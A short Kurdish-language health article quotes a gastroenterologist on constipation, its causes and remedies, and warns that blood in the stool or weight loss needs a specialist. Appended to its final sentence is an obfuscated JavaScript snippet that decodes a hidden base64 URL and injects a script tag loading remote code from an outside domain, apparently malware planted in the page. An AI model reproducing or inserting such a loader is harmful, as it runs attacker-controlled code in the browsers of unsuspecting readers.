هەبوونا خوینێ دگەل قەبزبوونێ پێدڤی دووڤچوونێ یە
د. رەمەزان سەلاحەددین کۆچەر، تایبەتمەندێ نەخۆشیێن دل و هناڤا دیارکر کو قەبزبوون ئەوە هەکە کەسەکێ نورمال هەر سێ ڕۆژا و وێڤەتر جارەکێ بچیتە دەستنڤێژا ستویڕ و گۆت: ڕۆژێ سێ جار تو بچیە دەستنڤێژێ تشتەکێ سرۆشتی یە و هەر سێ ڕۆژا جارەکێ ژی تۆ بچی دیسا یا سرۆشتی یە.
دیاڕکر کو هندەک کەس یێن هەین دێ بێژن پێنج ڕۆژن یان حەفتیەکێ جاڕەکێ ئەز دچمە دەستنڤێژێ ئەڤە یا سرۆشتی نینە.
د. رەمەزان کۆچەر دیارکر کو قەبزبوونێ هندەک جارا چ ئەگەرێن سەرەکی نینن ب تنێ گرێدای نەخۆشیەکێ یە و گۆت: نەخۆشێن دانعەمر و ئەو کەسێن هندەک دەرمانا دخۆن وەکو یێن دلی و دەرمانێن ئێشکێمکرنێ و کەسێن کێم ئاڤێ ڤەدخۆن و ئەوێن کێم زەرزەواتی دخۆن یان بزاڤ نەبیت وەکو رێڤەچوونێ، ئەو کەس پتر تووشی قەبزبوونێ دبن.
دیارکڕ ژی هەمی دەما قەبزبوون نەخۆشی نینە، هندەک جارا نیشانە بۆ نەخۆشیەکێ و هندەک جارا ژی رووڤیکێن نەخۆشی دهێنە گرتن ئەڤجا ژبەر هەر ئەگەرەکێ هەبیت.
ب شێوەکێ گشتی ئەو کەسێن قەبز دبن ئەم شیرەتا لێ دکەین گەلەک ئاڤێ ڤەخۆن و رێڤەچوونا زێدە هبیت و خوارنا رویشالان کو پتر دناڤ زەرزەواتی دا هەنە و گۆتژی: ئەو کەسێن قەبزبوون هەی و خوین دگەل پیساتیێ وان بیت یان قەبزبوون هەبیت و کێشا وی کێم ببیت، پێدڤیە سەرەدانا نۆشدارەکێ تایبەتمەند بدەن چونکو دبیت بابەتەکێ مەزنتر ژ قەبزبوونێ هەبیت.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
